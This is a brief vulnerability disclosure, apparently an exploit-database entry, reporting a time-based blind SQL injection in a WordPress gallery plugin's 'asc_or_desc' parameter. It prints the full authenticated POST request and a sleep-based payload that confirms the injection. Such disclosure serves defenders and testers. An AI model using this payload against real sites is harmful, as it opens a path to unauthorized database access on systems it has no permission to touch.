Vulnerability description:  
  
When an authenticated user is creating a new gallery a POST-request is sent to the application that is prone to SQL-Injection in the parameter "asc_or_desc".  
  
  
POST /wordpress/wp-admin/admin.php?page=galleries_bwg HTTP/1.1  
Host: <IP>  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Cookie: <Wordpress-Cookie>  
Connection: keep-alive  
Content-Type: application/x-www-form-urlencoded  
Content-Length: 150  
  
search_value=&page_number=1&search_or_not=&task=add&current_id=&ids_string=&asc_or_desc=asc&order_by=order  
  
  
The parameter asc_or_desc in the POST body is prone to a AND/OR time-based blind SQL-Injection. WIth the following payload a delay can be provoked in the request of additional 10 seconds:  
  
asc_or_desc=asc%2c(select%20*%20from%20(select(sleep(10)))a)
